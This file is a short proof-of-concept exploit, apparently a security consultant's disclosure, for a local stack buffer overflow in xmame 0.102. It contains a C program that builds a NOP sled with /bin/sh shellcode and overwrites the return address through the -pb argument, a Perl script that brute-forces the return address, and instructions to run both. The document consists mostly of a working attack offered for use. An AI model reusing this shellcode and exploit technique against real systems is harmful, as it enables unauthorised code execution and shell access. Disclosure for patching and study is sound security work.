xmame-sploits.txt

`  
The following proof-of-concept demonstrates the existence of the local   
vulnerability found in xmame 0.102.  
It uses the brute-force technique. The RET address interval works on   
Intel Debian GNU/Linux.  
To test for the vulnerability, run "gcc exploit-c -o exploit" and then   
"perl fb.pl".  
  
exploit.c:  
  
#define NOP 0x90  
#define TAMBUF 1200  
#define INIC_SH 400  
#include <stdlib.h>  
  
int main (int argc, char **argv) {  
  
static char shellcode[]=  
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"  
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"  
"\x2f\x73\x68\x58";  
  
char buffer [TAMBUF + 1];  
char cadena [TAMBUF + 3];  
int cont;  
unsigned long ret = strtoul (argv[1], NULL, 16);  
  
for (cont = 0; cont < TAMBUF / 4; cont++)  
*( (long *) buffer + cont) = ret;  
  
for (cont = 0; cont < strlen (shellcode); cont++)  
buffer [cont + INIC_SH] = shellcode [cont];  
  
for (cont = 0; cont < INIC_SH; cont++)  
buffer [cont] = NOP;  
  
buffer [TAMBUF] = 0;  
printf ("RET = 0x%x\n", ret);  
strcpy (cadena, "AA");  
strcat (cadena, buffer);  
execl ("./xmame.x11", "./xmame.x11", "-pb", cadena, (char *) 0);  
}  
  
fb.pl:  
  
#!/usr/bin/perl  
  
$cnt = 0xbfffe000;  
  
while (1) {  
$hex = sprintf ("0x%x", $cnt);  
$res = system ("./exploit $hex");  
printf "$hex : $res\n";  
$cnt += 4;  
}  
  
Greetings,  
  
Rafael San Miguel Carrasco  
Security Consultant  
www.rafaelsanmiguel.com  
`